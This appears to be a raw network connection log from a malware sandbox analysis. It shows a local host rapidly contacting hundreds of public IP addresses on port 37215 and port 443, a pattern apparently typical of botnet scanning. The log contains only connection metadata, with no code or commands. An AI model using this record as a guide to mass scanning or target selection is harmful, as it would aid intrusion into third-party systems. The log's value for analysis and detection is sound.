Apr 14, 2024 03:59:52.058088064 CEST	5975	37215	192.168.2.23	41.185.179.75
Apr 14, 2024 03:59:52.058088064 CEST	5975	37215	192.168.2.23	156.144.209.25
Apr 14, 2024 03:59:52.058088064 CEST	5975	37215	192.168.2.23	197.166.116.202
Apr 14, 2024 03:59:52.058113098 CEST	5975	37215	192.168.2.23	41.126.213.13
Apr 14, 2024 03:59:52.058113098 CEST	5975	37215	192.168.2.23	156.134.215.73
Apr 14, 2024 03:59:52.058125973 CEST	5975	37215	192.168.2.23	197.149.220.222
Apr 14, 2024 03:59:52.058125973 CEST	5975	37215	192.168.2.23	41.248.106.226
Apr 14, 2024 03:59:52.058128119 CEST	5975	37215	192.168.2.23	156.238.199.63
Apr 14, 2024 03:59:52.058128119 CEST	5975	37215	192.168.2.23	41.125.115.40
Apr 14, 2024 03:59:52.058129072 CEST	5975	37215	192.168.2.23	41.240.221.65
Apr 14, 2024 03:59:52.058129072 CEST	5975	37215	192.168.2.23	156.34.120.42
Apr 14, 2024 03:59:52.058129072 CEST	5975	37215	192.168.2.23	41.150.241.135
Apr 14, 2024 03:59:52.058135986 CEST	5975	37215	192.168.2.23	156.123.203.206
Apr 14, 2024 03:59:52.058131933 CEST	5975	37215	192.168.2.23	41.111.60.32
Apr 14, 2024 03:59:52.058131933 CEST	2135	443	192.168.2.23	117.32.207.65
Apr 14, 2024 03:59:52.058142900 CEST	5975	37215	192.168.2.23	156.144.17.69
Apr 14, 2024 03:59:52.058142900 CEST	2135	443	192.168.2.23	212.174.4.231
Apr 14, 2024 03:59:52.058142900 CEST	2135	443	192.168.2.23	94.100.112.85
Apr 14, 2024 03:59:52.058142900 CEST	2135	443	192.168.2.23	202.34.95.27
Apr 14, 2024 03:59:52.058144093 CEST	5975	37215	192.168.2.23	156.128.225.126
Apr 14, 2024 03:59:52.058142900 CEST	5975	37215	192.168.2.23	197.97.113.116
Apr 14, 2024 03:59:52.058144093 CEST	5975	37215	192.168.2.23	156.114.222.95
Apr 14, 2024 03:59:52.058144093 CEST	5975	37215	192.168.2.23	156.101.148.94
Apr 14, 2024 03:59:52.058144093 CEST	5975	37215	192.168.2.23	197.68.133.60
Apr 14, 2024 03:59:52.058151007 CEST	443	2135	212.174.4.231	192.168.2.23
Apr 14, 2024 03:59:52.058151960 CEST	5975	37215	192.168.2.23	156.207.85.102
Apr 14, 2024 03:59:52.058151960 CEST	5975	37215	192.168.2.23	197.20.152.88
Apr 14, 2024 03:59:52.058151960 CEST	2135	443	192.168.2.23	37.23.183.36
Apr 14, 2024 03:59:52.058151960 CEST	5975	37215	192.168.2.23	41.121.135.216
Apr 14, 2024 03:59:52.058151960 CEST	2135	443	192.168.2.23	79.218.62.15
Apr 14, 2024 03:59:52.058157921 CEST	443	2135	117.32.207.65	192.168.2.23
Apr 14, 2024 03:59:52.058161974 CEST	443	2135	94.100.112.85	192.168.2.23
Apr 14, 2024 03:59:52.058175087 CEST	5975	37215	192.168.2.23	156.184.135.244
Apr 14, 2024 03:59:52.058175087 CEST	2135	443	192.168.2.23	109.203.65.47
Apr 14, 2024 03:59:52.058176994 CEST	443	2135	37.23.183.36	192.168.2.23
Apr 14, 2024 03:59:52.058176994 CEST	5975	37215	192.168.2.23	41.17.126.92
Apr 14, 2024 03:59:52.058176994 CEST	5975	37215	192.168.2.23	156.197.17.77
Apr 14, 2024 03:59:52.058177948 CEST	5975	37215	192.168.2.23	41.50.19.136
Apr 14, 2024 03:59:52.058177948 CEST	2135	443	192.168.2.23	210.20.116.157
Apr 14, 2024 03:59:52.058177948 CEST	5975	37215	192.168.2.23	197.192.161.101
Apr 14, 2024 03:59:52.058177948 CEST	5975	37215	192.168.2.23	197.124.197.208
Apr 14, 2024 03:59:52.058177948 CEST	5975	37215	192.168.2.23	156.27.105.49
Apr 14, 2024 03:59:52.058177948 CEST	5975	37215	192.168.2.23	41.45.181.146
Apr 14, 2024 03:59:52.058183908 CEST	443	2135	202.34.95.27	192.168.2.23
Apr 14, 2024 03:59:52.058187008 CEST	443	2135	109.203.65.47	192.168.2.23
Apr 14, 2024 03:59:52.058187008 CEST	5975	37215	192.168.2.23	197.201.209.21
Apr 14, 2024 03:59:52.058187008 CEST	2135	443	192.168.2.23	109.64.154.56
Apr 14, 2024 03:59:52.058187008 CEST	5975	37215	192.168.2.23	41.177.226.51
Apr 14, 2024 03:59:52.058187008 CEST	2135	443	192.168.2.23	79.252.24.120
Apr 14, 2024 03:59:52.058187008 CEST	5975	37215	192.168.2.23	197.53.38.248
Apr 14, 2024 03:59:52.058187008 CEST	2135	443	192.168.2.23	212.174.4.231
Apr 14, 2024 03:59:52.058191061 CEST	5975	37215	192.168.2.23	156.36.163.30
Apr 14, 2024 03:59:52.058192015 CEST	5975	37215	192.168.2.23	41.124.189.202
Apr 14, 2024 03:59:52.058192015 CEST	2135	443	192.168.2.23	42.94.151.53
Apr 14, 2024 03:59:52.058192015 CEST	5975	37215	192.168.2.23	156.197.202.143
Apr 14, 2024 03:59:52.058193922 CEST	443	2135	210.20.116.157	192.168.2.23
Apr 14, 2024 03:59:52.058195114 CEST	443	2135	79.218.62.15	192.168.2.23
Apr 14, 2024 03:59:52.058197975 CEST	2135	443	192.168.2.23	94.238.173.202
Apr 14, 2024 03:59:52.058197975 CEST	2135	443	192.168.2.23	117.32.207.65
Apr 14, 2024 03:59:52.058199883 CEST	443	2135	109.64.154.56	192.168.2.23
Apr 14, 2024 03:59:52.058207035 CEST	5975	37215	192.168.2.23	197.192.198.167
Apr 14, 2024 03:59:52.058207035 CEST	5975	37215	192.168.2.23	156.127.54.190
Apr 14, 2024 03:59:52.058207035 CEST	5975	37215	192.168.2.23	156.75.255.113
Apr 14, 2024 03:59:52.058208942 CEST	443	2135	94.238.173.202	192.168.2.23
Apr 14, 2024 03:59:52.058211088 CEST	2135	443	192.168.2.23	5.82.105.236
Apr 14, 2024 03:59:52.058212042 CEST	443	2135	79.252.24.120	192.168.2.23
Apr 14, 2024 03:59:52.058212042 CEST	5975	37215	192.168.2.23	41.29.251.183
Apr 14, 2024 03:59:52.058212042 CEST	2135	443	192.168.2.23	212.147.102.83
Apr 14, 2024 03:59:52.058212042 CEST	5975	37215	192.168.2.23	156.219.210.180
Apr 14, 2024 03:59:52.058212042 CEST	2135	443	192.168.2.23	123.78.107.88
Apr 14, 2024 03:59:52.058212042 CEST	2135	443	192.168.2.23	37.23.183.36
Apr 14, 2024 03:59:52.058213949 CEST	443	2135	42.94.151.53	192.168.2.23
Apr 14, 2024 03:59:52.058218002 CEST	443	2135	5.82.105.236	192.168.2.23
Apr 14, 2024 03:59:52.058217049 CEST	5975	37215	192.168.2.23	41.241.138.135
Apr 14, 2024 03:59:52.058217049 CEST	5975	37215	192.168.2.23	197.44.191.111
Apr 14, 2024 03:59:52.058217049 CEST	2135	443	192.168.2.23	94.100.112.85
Apr 14, 2024 03:59:52.058217049 CEST	2135	443	192.168.2.23	202.34.95.27
Apr 14, 2024 03:59:52.058217049 CEST	5975	37215	192.168.2.23	41.225.93.145
Apr 14, 2024 03:59:52.058223009 CEST	2135	443	192.168.2.23	109.203.65.47
Apr 14, 2024 03:59:52.058226109 CEST	2135	443	192.168.2.23	210.20.116.157
Apr 14, 2024 03:59:52.058228970 CEST	443	2135	212.147.102.83	192.168.2.23
Apr 14, 2024 03:59:52.058228970 CEST	2135	443	192.168.2.23	2.58.239.21
Apr 14, 2024 03:59:52.058228970 CEST	5975	37215	192.168.2.23	156.136.244.27
Apr 14, 2024 03:59:52.058228970 CEST	2135	443	192.168.2.23	2.62.71.6
Apr 14, 2024 03:59:52.058228970 CEST	5975	37215	192.168.2.23	156.9.61.189
Apr 14, 2024 03:59:52.058233976 CEST	2135	443	192.168.2.23	5.177.32.167
Apr 14, 2024 03:59:52.058233976 CEST	5975	37215	192.168.2.23	41.215.48.60
Apr 14, 2024 03:59:52.058233976 CEST	2135	443	192.168.2.23	109.64.154.56
Apr 14, 2024 03:59:52.058235884 CEST	443	2135	123.78.107.88	192.168.2.23
Apr 14, 2024 03:59:52.058238029 CEST	5975	37215	192.168.2.23	156.9.3.153
Apr 14, 2024 03:59:52.058238029 CEST	2135	443	192.168.2.23	94.238.173.202
Apr 14, 2024 03:59:52.058238983 CEST	443	2135	2.58.239.21	192.168.2.23
Apr 14, 2024 03:59:52.058239937 CEST	443	2135	5.177.32.167	192.168.2.23
Apr 14, 2024 03:59:52.058242083 CEST	5975	37215	192.168.2.23	197.200.101.174
Apr 14, 2024 03:59:52.058242083 CEST	2135	443	192.168.2.23	37.173.47.238
Apr 14, 2024 03:59:52.058242083 CEST	5975	37215	192.168.2.23	41.191.94.237
Apr 14, 2024 03:59:52.058245897 CEST	2135	443	192.168.2.23	79.218.62.15
Apr 14, 2024 03:59:52.058248997 CEST	2135	443	192.168.2.23	79.252.24.120
Apr 14, 2024 03:59:52.058250904 CEST	2135	443	192.168.2.23	5.82.105.236
Apr 14, 2024 03:59:52.058252096 CEST	443	2135	2.62.71.6	192.168.2.23
Apr 14, 2024 03:59:52.058253050 CEST	2135	443	192.168.2.23	212.147.102.83
Apr 14, 2024 03:59:52.058257103 CEST	443	2135	37.173.47.238	192.168.2.23
Apr 14, 2024 03:59:52.058259010 CEST	2135	443	192.168.2.23	123.78.107.88
Apr 14, 2024 03:59:52.058263063 CEST	2135	443	192.168.2.23	42.94.151.53
Apr 14, 2024 03:59:52.058263063 CEST	5975	37215	192.168.2.23	156.171.42.46
Apr 14, 2024 03:59:52.058268070 CEST	2135	443	192.168.2.23	5.177.32.167
Apr 14, 2024 03:59:52.058274031 CEST	2135	443	192.168.2.23	202.196.246.128
Apr 14, 2024 03:59:52.058278084 CEST	2135	443	192.168.2.23	2.58.239.21
Apr 14, 2024 03:59:52.058278084 CEST	2135	443	192.168.2.23	2.62.71.6
Apr 14, 2024 03:59:52.058279037 CEST	443	2135	202.196.246.128	192.168.2.23
Apr 14, 2024 03:59:52.058281898 CEST	5975	37215	192.168.2.23	197.232.35.195
Apr 14, 2024 03:59:52.058281898 CEST	5975	37215	192.168.2.23	197.241.109.180
Apr 14, 2024 03:59:52.058281898 CEST	2135	443	192.168.2.23	117.87.133.168
Apr 14, 2024 03:59:52.058281898 CEST	2135	443	192.168.2.23	2.93.137.77
Apr 14, 2024 03:59:52.058281898 CEST	5975	37215	192.168.2.23	197.107.127.165
Apr 14, 2024 03:59:52.058281898 CEST	2135	443	192.168.2.23	178.16.185.140
Apr 14, 2024 03:59:52.058281898 CEST	2135	443	192.168.2.23	37.179.169.244
Apr 14, 2024 03:59:52.058281898 CEST	2135	443	192.168.2.23	37.173.47.238
Apr 14, 2024 03:59:52.058288097 CEST	2135	443	192.168.2.23	118.34.158.35
Apr 14, 2024 03:59:52.058293104 CEST	443	2135	118.34.158.35	192.168.2.23
Apr 14, 2024 03:59:52.058305025 CEST	5975	37215	192.168.2.23	41.192.18.8
Apr 14, 2024 03:59:52.058305979 CEST	2135	443	192.168.2.23	202.196.246.128
Apr 14, 2024 03:59:52.058306932 CEST	443	2135	117.87.133.168	192.168.2.23
Apr 14, 2024 03:59:52.058309078 CEST	2135	443	192.168.2.23	117.154.243.31
Apr 14, 2024 03:59:52.058310032 CEST	5975	37215	192.168.2.23	41.48.237.240
Apr 14, 2024 03:59:52.058310986 CEST	2135	443	192.168.2.23	117.174.137.205
Apr 14, 2024 03:59:52.058319092 CEST	443	2135	117.174.137.205	192.168.2.23
Apr 14, 2024 03:59:52.058320045 CEST	2135	443	192.168.2.23	2.64.136.45
Apr 14, 2024 03:59:52.058320999 CEST	443	2135	117.154.243.31	192.168.2.23
Apr 14, 2024 03:59:52.058325052 CEST	443	2135	2.93.137.77	192.168.2.23
Apr 14, 2024 03:59:52.058327913 CEST	443	2135	2.64.136.45	192.168.2.23
Apr 14, 2024 03:59:52.058329105 CEST	443	2135	178.16.185.140	192.168.2.23
Apr 14, 2024 03:59:52.058332920 CEST	2135	443	192.168.2.23	118.34.158.35
Apr 14, 2024 03:59:52.058339119 CEST	5975	37215	192.168.2.23	41.12.246.136
Apr 14, 2024 03:59:52.058340073 CEST	443	2135	37.179.169.244	192.168.2.23
Apr 14, 2024 03:59:52.058341980 CEST	5975	37215	192.168.2.23	197.125.102.138
Apr 14, 2024 03:59:52.058343887 CEST	5975	37215	192.168.2.23	156.100.79.82
Apr 14, 2024 03:59:52.058343887 CEST	2135	443	192.168.2.23	117.174.137.205
Apr 14, 2024 03:59:52.058346987 CEST	2135	443	192.168.2.23	117.154.243.31
Apr 14, 2024 03:59:52.058350086 CEST	5975	37215	192.168.2.23	197.162.173.40
Apr 14, 2024 03:59:52.058351040 CEST	2135	443	192.168.2.23	117.87.133.168
Apr 14, 2024 03:59:52.058351040 CEST	5975	37215	192.168.2.23	41.88.122.0
Apr 14, 2024 03:59:52.058357954 CEST	2135	443	192.168.2.23	2.64.136.45
Apr 14, 2024 03:59:52.058362007 CEST	5975	37215	192.168.2.23	41.150.15.26
Apr 14, 2024 03:59:52.058371067 CEST	2135	443	192.168.2.23	2.141.207.60
Apr 14, 2024 03:59:52.058371067 CEST	2135	443	192.168.2.23	2.93.137.77
Apr 14, 2024 03:59:52.058372021 CEST	2135	443	192.168.2.23	178.16.185.140
Apr 14, 2024 03:59:52.058372021 CEST	2135	443	192.168.2.23	37.179.169.244
Apr 14, 2024 03:59:52.058378935 CEST	443	2135	2.141.207.60	192.168.2.23
Apr 14, 2024 03:59:52.058381081 CEST	5975	37215	192.168.2.23	41.99.160.133
Apr 14, 2024 03:59:52.058382988 CEST	2135	443	192.168.2.23	79.246.121.249
Apr 14, 2024 03:59:52.058382988 CEST	5975	37215	192.168.2.23	156.88.169.140
Apr 14, 2024 03:59:52.058383942 CEST	2135	443	192.168.2.23	202.31.236.75
Apr 14, 2024 03:59:52.058383942 CEST	2135	443	192.168.2.23	118.177.169.165
Apr 14, 2024 03:59:52.058388948 CEST	5975	37215	192.168.2.23	41.5.129.180
Apr 14, 2024 03:59:52.058393002 CEST	443	2135	202.31.236.75	192.168.2.23
Apr 14, 2024 03:59:52.058393955 CEST	443	2135	79.246.121.249	192.168.2.23
Apr 14, 2024 03:59:52.058398962 CEST	2135	443	192.168.2.23	5.197.160.41
Apr 14, 2024 03:59:52.058401108 CEST	2135	443	192.168.2.23	5.139.74.231
Apr 14, 2024 03:59:52.058404922 CEST	5975	37215	192.168.2.23	156.167.209.63
Apr 14, 2024 03:59:52.058407068 CEST	443	2135	118.177.169.165	192.168.2.23
Apr 14, 2024 03:59:52.058407068 CEST	443	2135	5.197.160.41	192.168.2.23
Apr 14, 2024 03:59:52.058415890 CEST	2135	443	192.168.2.23	37.101.227.89
Apr 14, 2024 03:59:52.058417082 CEST	443	2135	5.139.74.231	192.168.2.23
Apr 14, 2024 03:59:52.058418989 CEST	5975	37215	192.168.2.23	156.56.182.99
Apr 14, 2024 03:59:52.058420897 CEST	2135	443	192.168.2.23	2.141.207.60
Apr 14, 2024 03:59:52.058423042 CEST	443	2135	37.101.227.89	192.168.2.23
Apr 14, 2024 03:59:52.058428049 CEST	2135	443	192.168.2.23	79.246.121.249
Apr 14, 2024 03:59:52.058429003 CEST	2135	443	192.168.2.23	117.112.218.211
Apr 14, 2024 03:59:52.058429003 CEST	2135	443	192.168.2.23	202.31.236.75
Apr 14, 2024 03:59:52.058435917 CEST	2135	443	192.168.2.23	148.20.156.189
Apr 14, 2024 03:59:52.058435917 CEST	2135	443	192.168.2.23	5.197.160.41
Apr 14, 2024 03:59:52.058439970 CEST	443	2135	117.112.218.211	192.168.2.23
Apr 14, 2024 03:59:52.058442116 CEST	2135	443	192.168.2.23	5.139.74.231
Apr 14, 2024 03:59:52.058444977 CEST	2135	443	192.168.2.23	37.101.227.89
Apr 14, 2024 03:59:52.058445930 CEST	443	2135	148.20.156.189	192.168.2.23
Apr 14, 2024 03:59:52.058451891 CEST	2135	443	192.168.2.23	118.177.169.165
Apr 14, 2024 03:59:52.058460951 CEST	5975	37215	192.168.2.23	197.93.149.242
Apr 14, 2024 03:59:52.058460951 CEST	2135	443	192.168.2.23	178.63.234.37
Apr 14, 2024 03:59:52.058461905 CEST	2135	443	192.168.2.23	123.39.200.62
Apr 14, 2024 03:59:52.058463097 CEST	2135	443	192.168.2.23	109.183.54.149
Apr 14, 2024 03:59:52.058466911 CEST	2135	443	192.168.2.23	117.112.218.211
Apr 14, 2024 03:59:52.058470964 CEST	443	2135	109.183.54.149	192.168.2.23
Apr 14, 2024 03:59:52.058470964 CEST	443	2135	123.39.200.62	192.168.2.23
Apr 14, 2024 03:59:52.058473110 CEST	443	2135	178.63.234.37	192.168.2.23
Apr 14, 2024 03:59:52.058510065 CEST	2135	443	192.168.2.23	5.92.197.67
Apr 14, 2024 03:59:52.058510065 CEST	5975	37215	192.168.2.23	41.41.49.61
Apr 14, 2024 03:59:52.058511972 CEST	2135	443	192.168.2.23	42.227.169.55
Apr 14, 2024 03:59:52.058512926 CEST	2135	443	192.168.2.23	2.191.20.96
Apr 14, 2024 03:59:52.058512926 CEST	2135	443	192.168.2.23	109.183.54.149
Apr 14, 2024 03:59:52.058514118 CEST	2135	443	192.168.2.23	178.63.234.37
Apr 14, 2024 03:59:52.058514118 CEST	5975	37215	192.168.2.23	197.11.104.142
Apr 14, 2024 03:59:52.058514118 CEST	2135	443	192.168.2.23	148.20.156.189
Apr 14, 2024 03:59:52.058518887 CEST	443	2135	2.191.20.96	192.168.2.23
Apr 14, 2024 03:59:52.058520079 CEST	443	2135	42.227.169.55	192.168.2.23
Apr 14, 2024 03:59:52.058518887 CEST	443	2135	5.92.197.67	192.168.2.23
Apr 14, 2024 03:59:52.058532953 CEST	2135	443	192.168.2.23	118.69.172.35
Apr 14, 2024 03:59:52.058532953 CEST	2135	443	192.168.2.23	210.31.235.118
Apr 14, 2024 03:59:52.058532953 CEST	2135	443	192.168.2.23	37.176.67.38
Apr 14, 2024 03:59:52.058532953 CEST	5975	37215	192.168.2.23	156.236.138.4
Apr 14, 2024 03:59:52.058532953 CEST	5975	37215	192.168.2.23	41.38.162.116
Apr 14, 2024 03:59:52.058532953 CEST	5975	37215	192.168.2.23	41.42.117.68
Apr 14, 2024 03:59:52.058532953 CEST	5975	37215	192.168.2.23	41.50.184.136
Apr 14, 2024 03:59:52.058531046 CEST	2135	443	192.168.2.23	42.204.239.55
Apr 14, 2024 03:59:52.058536053 CEST	2135	443	192.168.2.23	123.39.200.62
Apr 14, 2024 03:59:52.058536053 CEST	2135	443	192.168.2.23	123.119.110.66
Apr 14, 2024 03:59:52.058536053 CEST	5975	37215	192.168.2.23	41.203.238.248
Apr 14, 2024 03:59:52.058536053 CEST	5975	37215	192.168.2.23	156.160.157.239
Apr 14, 2024 03:59:52.058537006 CEST	2135	443	192.168.2.23	210.189.112.210
Apr 14, 2024 03:59:52.058536053 CEST	2135	443	192.168.2.23	123.192.168.226
Apr 14, 2024 03:59:52.058531046 CEST	2135	443	192.168.2.23	123.43.186.177
Apr 14, 2024 03:59:52.058536053 CEST	5975	37215	192.168.2.23	197.27.78.232
Apr 14, 2024 03:59:52.058536053 CEST	5975	37215	192.168.2.23	156.192.54.136
Apr 14, 2024 03:59:52.058537960 CEST	2135	443	192.168.2.23	94.86.12.105
Apr 14, 2024 03:59:52.058536053 CEST	5975	37215	192.168.2.23	197.206.84.92
Apr 14, 2024 03:59:52.058537960 CEST	2135	443	192.168.2.23	210.104.214.179
Apr 14, 2024 03:59:52.058536053 CEST	2135	443	192.168.2.23	212.169.115.151
Apr 14, 2024 03:59:52.058542967 CEST	443	2135	118.69.172.35	192.168.2.23
Apr 14, 2024 03:59:52.058536053 CEST	2135	443	192.168.2.23	109.202.201.102
Apr 14, 2024 03:59:52.058545113 CEST	443	2135	210.31.235.118	192.168.2.23
Apr 14, 2024 03:59:52.058536053 CEST	5975	37215	192.168.2.23	41.227.78.158
Apr 14, 2024 03:59:52.058537006 CEST	2135	443	192.168.2.23	148.48.134.188
Apr 14, 2024 03:59:52.058552980 CEST	443	2135	42.204.239.55	192.168.2.23
Apr 14, 2024 03:59:52.058554888 CEST	443	2135	210.104.214.179	192.168.2.23
Apr 14, 2024 03:59:52.058554888 CEST	443	2135	94.86.12.105	192.168.2.23
Apr 14, 2024 03:59:52.058557987 CEST	443	2135	210.189.112.210	192.168.2.23
Apr 14, 2024 03:59:52.058561087 CEST	2135	443	192.168.2.23	5.92.197.67
Apr 14, 2024 03:59:52.058562040 CEST	443	2135	37.176.67.38	192.168.2.23
Apr 14, 2024 03:59:52.058562040 CEST	443	2135	123.119.110.66	192.168.2.23
Apr 14, 2024 03:59:52.058562994 CEST	2135	443	192.168.2.23	42.227.169.55
Apr 14, 2024 03:59:52.058567047 CEST	2135	443	192.168.2.23	2.191.20.96
Apr 14, 2024 03:59:52.058568954 CEST	443	2135	123.192.168.226	192.168.2.23
Apr 14, 2024 03:59:52.058567047 CEST	2135	443	192.168.2.23	123.206.72.54
Apr 14, 2024 03:59:52.058568954 CEST	443	2135	123.43.186.177	192.168.2.23
Apr 14, 2024 03:59:52.058578014 CEST	2135	443	192.168.2.23	148.100.193.98
Apr 14, 2024 03:59:52.058569908 CEST	2135	443	192.168.2.23	42.96.18.130
Apr 14, 2024 03:59:52.058572054 CEST	5975	37215	192.168.2.23	41.14.238.59
Apr 14, 2024 03:59:52.058572054 CEST	5975	37215	192.168.2.23	41.130.124.143
Apr 14, 2024 03:59:52.058583975 CEST	443	2135	148.48.134.188	192.168.2.23
Apr 14, 2024 03:59:52.058583975 CEST	5975	37215	192.168.2.23	197.13.209.90
Apr 14, 2024 03:59:52.058584929 CEST	443	2135	148.100.193.98	192.168.2.23
Apr 14, 2024 03:59:52.058583975 CEST	2135	443	192.168.2.23	118.69.172.35
Apr 14, 2024 03:59:52.058587074 CEST	443	2135	42.96.18.130	192.168.2.23
Apr 14, 2024 03:59:52.058588982 CEST	443	2135	212.169.115.151	192.168.2.23
Apr 14, 2024 03:59:52.058592081 CEST	2135	443	192.168.2.23	210.31.235.118
Apr 14, 2024 03:59:52.058593035 CEST	443	2135	123.206.72.54	192.168.2.23
Apr 14, 2024 03:59:52.058598042 CEST	2135	443	192.168.2.23	210.104.214.179
Apr 14, 2024 03:59:52.058598042 CEST	2135	443	192.168.2.23	37.176.67.38
Apr 14, 2024 03:59:52.058598042 CEST	2135	443	192.168.2.23	94.86.12.105
Apr 14, 2024 03:59:52.058599949 CEST	443	2135	109.202.201.102	192.168.2.23
Apr 14, 2024 03:59:52.058604002 CEST	2135	443	192.168.2.23	123.43.186.177
Apr 14, 2024 03:59:52.058604002 CEST	2135	443	192.168.2.23	42.204.239.55
Apr 14, 2024 03:59:52.058608055 CEST	2135	443	192.168.2.23	148.100.193.98
Apr 14, 2024 03:59:52.058609962 CEST	2135	443	192.168.2.23	94.135.82.240
Apr 14, 2024 03:59:52.058609962 CEST	2135	443	192.168.2.23	118.162.201.156
Apr 14, 2024 03:59:52.058609962 CEST	2135	443	192.168.2.23	210.189.112.210
Apr 14, 2024 03:59:52.058609962 CEST	2135	443	192.168.2.23	148.48.134.188
Apr 14, 2024 03:59:52.058613062 CEST	2135	443	192.168.2.23	42.96.18.130
Apr 14, 2024 03:59:52.058619976 CEST	5975	37215	192.168.2.23	197.197.36.143
Apr 14, 2024 03:59:52.058619976 CEST	2135	443	192.168.2.23	123.119.110.66
Apr 14, 2024 03:59:52.058619976 CEST	2135	443	192.168.2.23	123.192.168.226
Apr 14, 2024 03:59:52.058619976 CEST	2135	443	192.168.2.23	212.169.115.151
Apr 14, 2024 03:59:52.058621883 CEST	443	2135	94.135.82.240	192.168.2.23
Apr 14, 2024 03:59:52.058628082 CEST	2135	443	192.168.2.23	123.206.72.54
Apr 14, 2024 03:59:52.058634043 CEST	443	2135	118.162.201.156	192.168.2.23
Apr 14, 2024 03:59:52.058639050 CEST	5975	37215	192.168.2.23	197.95.76.59
Apr 14, 2024 03:59:52.058644056 CEST	2135	443	192.168.2.23	109.202.201.102
Apr 14, 2024 03:59:52.058648109 CEST	5975	37215	192.168.2.23	41.247.80.56
Apr 14, 2024 03:59:52.058648109 CEST	2135	443	192.168.2.23	94.135.82.240
Apr 14, 2024 03:59:52.058654070 CEST	2135	443	192.168.2.23	2.252.30.132
Apr 14, 2024 03:59:52.058657885 CEST	2135	443	192.168.2.23	202.89.37.190
Apr 14, 2024 03:59:52.058661938 CEST	443	2135	2.252.30.132	192.168.2.23
Apr 14, 2024 03:59:52.058662891 CEST	2135	443	192.168.2.23	109.39.234.184
Apr 14, 2024 03:59:52.058662891 CEST	443	2135	202.89.37.190	192.168.2.23
Apr 14, 2024 03:59:52.058662891 CEST	2135	443	192.168.2.23	118.162.201.156
Apr 14, 2024 03:59:52.058670998 CEST	2135	443	192.168.2.23	5.225.2.24
Apr 14, 2024 03:59:52.058671951 CEST	5975	37215	192.168.2.23	197.201.184.96
Apr 14, 2024 03:59:52.058672905 CEST	443	2135	109.39.234.184	192.168.2.23
Apr 14, 2024 03:59:52.058676958 CEST	2135	443	192.168.2.23	123.45.72.27
Apr 14, 2024 03:59:52.058679104 CEST	443	2135	5.225.2.24	192.168.2.23
Apr 14, 2024 03:59:52.058679104 CEST	5975	37215	192.168.2.23	197.148.246.243
Apr 14, 2024 03:59:52.058682919 CEST	2135	443	192.168.2.23	2.175.22.86
Apr 14, 2024 03:59:52.058687925 CEST	443	2135	123.45.72.27	192.168.2.23
Apr 14, 2024 03:59:52.058689117 CEST	2135	443	192.168.2.23	5.84.198.115
Apr 14, 2024 03:59:52.058690071 CEST	443	2135	2.175.22.86	192.168.2.23
Apr 14, 2024 03:59:52.058692932 CEST	2135	443	192.168.2.23	202.89.37.190
Apr 14, 2024 03:59:52.058693886 CEST	5975	37215	192.168.2.23	41.160.134.247
Apr 14, 2024 03:59:52.058693886 CEST	2135	443	192.168.2.23	79.222.127.201
Apr 14, 2024 03:59:52.058700085 CEST	2135	443	192.168.2.23	212.181.80.106
Apr 14, 2024 03:59:52.058701992 CEST	443	2135	5.84.198.115	192.168.2.23
Apr 14, 2024 03:59:52.058707952 CEST	443	2135	212.181.80.106	192.168.2.23
Apr 14, 2024 03:59:52.058710098 CEST	443	2135	79.222.127.201	192.168.2.23
Apr 14, 2024 03:59:52.058710098 CEST	2135	443	192.168.2.23	2.252.30.132
Apr 14, 2024 03:59:52.058710098 CEST	2135	443	192.168.2.23	5.225.2.24
Apr 14, 2024 03:59:52.058720112 CEST	5975	37215	192.168.2.23	156.246.25.206
Apr 14, 2024 03:59:52.058720112 CEST	2135	443	192.168.2.23	2.175.22.86
Apr 14, 2024 03:59:52.058721066 CEST	2135	443	192.168.2.23	94.202.229.180
Apr 14, 2024 03:59:52.058725119 CEST	2135	443	192.168.2.23	109.39.234.184
Apr 14, 2024 03:59:52.058725119 CEST	2135	443	192.168.2.23	202.27.236.233
Apr 14, 2024 03:59:52.058727026 CEST	2135	443	192.168.2.23	5.84.198.115
Apr 14, 2024 03:59:52.058731079 CEST	443	2135	94.202.229.180	192.168.2.23
Apr 14, 2024 03:59:52.058733940 CEST	2135	443	192.168.2.23	79.13.118.124
Apr 14, 2024 03:59:52.058734894 CEST	2135	443	192.168.2.23	212.82.253.99
Apr 14, 2024 03:59:52.058743000 CEST	2135	443	192.168.2.23	123.45.72.27
Apr 14, 2024 03:59:52.058743000 CEST	2135	443	192.168.2.23	212.181.80.106
Apr 14, 2024 03:59:52.058744907 CEST	443	2135	79.13.118.124	192.168.2.23
Apr 14, 2024 03:59:52.058756113 CEST	2135	443	192.168.2.23	212.12.16.33
Apr 14, 2024 03:59:52.058756113 CEST	443	2135	202.27.236.233	192.168.2.23
Apr 14, 2024 03:59:52.058759928 CEST	2135	443	192.168.2.23	42.8.235.129
Apr 14, 2024 03:59:52.058759928 CEST	2135	443	192.168.2.23	79.222.127.201
Apr 14, 2024 03:59:52.058759928 CEST	5975	37215	192.168.2.23	197.196.195.247
Apr 14, 2024 03:59:52.058762074 CEST	2135	443	192.168.2.23	42.162.41.106
Apr 14, 2024 03:59:52.058763027 CEST	443	2135	212.12.16.33	192.168.2.23
Apr 14, 2024 03:59:52.058762074 CEST	2135	443	192.168.2.23	94.202.229.180
Apr 14, 2024 03:59:52.058768988 CEST	443	2135	212.82.253.99	192.168.2.23
Apr 14, 2024 03:59:52.058769941 CEST	443	2135	42.8.235.129	192.168.2.23
Apr 14, 2024 03:59:52.058773994 CEST	5975	37215	192.168.2.23	41.198.96.67
Apr 14, 2024 03:59:52.058774948 CEST	2135	443	192.168.2.23	117.148.55.3
Apr 14, 2024 03:59:52.058775902 CEST	443	2135	42.162.41.106	192.168.2.23
Apr 14, 2024 03:59:52.058777094 CEST	5975	37215	192.168.2.23	41.108.175.41
Apr 14, 2024 03:59:52.058784962 CEST	5975	37215	192.168.2.23	156.233.38.44
Apr 14, 2024 03:59:52.058784962 CEST	2135	443	192.168.2.23	79.13.118.124
Apr 14, 2024 03:59:52.058789015 CEST	2135	443	192.168.2.23	202.27.236.233
Apr 14, 2024 03:59:52.058790922 CEST	5975	37215	192.168.2.23	156.66.102.245
Apr 14, 2024 03:59:52.058790922 CEST	443	2135	117.148.55.3	192.168.2.23
Apr 14, 2024 03:59:52.058796883 CEST	2135	443	192.168.2.23	212.12.16.33
Apr 14, 2024 03:59:52.058804035 CEST	5975	37215	192.168.2.23	41.254.3.9
Apr 14, 2024 03:59:52.058806896 CEST	2135	443	192.168.2.23	210.39.226.143
Apr 14, 2024 03:59:52.058806896 CEST	2135	443	192.168.2.23	212.82.253.99
Apr 14, 2024 03:59:52.058808088 CEST	2135	443	192.168.2.23	42.162.41.106
Apr 14, 2024 03:59:52.058810949 CEST	2135	443	192.168.2.23	42.8.235.129
